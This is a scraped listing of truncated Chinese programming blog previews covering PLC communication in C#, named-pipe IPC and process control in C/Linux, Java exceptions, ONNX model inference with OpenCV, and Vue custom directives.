1. 读取配置文件及创建变量信息&#xff08;点位名称&#xff0c;地址&#xff0c;数据类型&#xff08;bool/short/int/float/long/double&#xff09;&#xff09; 2. 读任务&写任务,数据有变化时事件广播通知 using HslCommunication; using HslCommunication.Core; usi…

IOday7

A进程 #include <head.h> int main(int argc, const char *argv[]) {pid_t cpidfork();if(cpid>0)//父进程向管道文件2写{ int wfd;if((wfdopen("./myfifo2",O_WRONLY))-1){ERR_MSG("open");return -1;} char buf[128]"";while(1){bze…

进阶JAVA篇-异常处理:解读与解决编程中的意外情况

目录 1.0 什么是异常&#xff1f; 1.1 异常主要分为两个情况分别是运行时异常、编译时异常。 2.0 怎么处理异常呢&#xff1f; 2.1 捕获异常&#xff08;Catch Exception&#xff09; 2.2 声明异常&#xff08;Declare Exception&#xff09; 3.0 自定义异常 3.1 如何定义异常类…

Linux:进程控制

目录 一、进程创建 写时拷贝 二、进程终止 echo $? 如何终止进程 _exit与exit 三、进程等待 进程等待的必要性 进程等待的操作 wait waitpid status 异常退出情况 status相关宏 options 四、进程程序替换 1、关于进程程序替换 2、如何进行进程程序替换 程序…

【深度学习】【Opencv】【GPU】python/C++调用onnx模型【基础】

【深度学习】【Opencv】【GPU】python/C调用onnx模型【基础】 提示:博主取舍了很多大佬的博文并亲测有效,分享笔记邀大家共同学习讨论 文章目录 【深度学习】【Opencv】【GPU】python/C调用onnx模型【基础】前言Python版本OpenCVWindows平台安装OpenCVopencv调用onnx模型 C版本…

vue 自定义指令

vue 自定义指令 指令 和mounted 是什么关系 &#xff1f; **创建 工程&#xff1a; H:\java_work\java_springboot\vue_study ctrl按住不放 右键 悬着 powershell H:\java_work\java_springboot\js_study\Vue2_3入门到实战-配套资料\01-随堂代码素材\day05\准备代码\04-自定…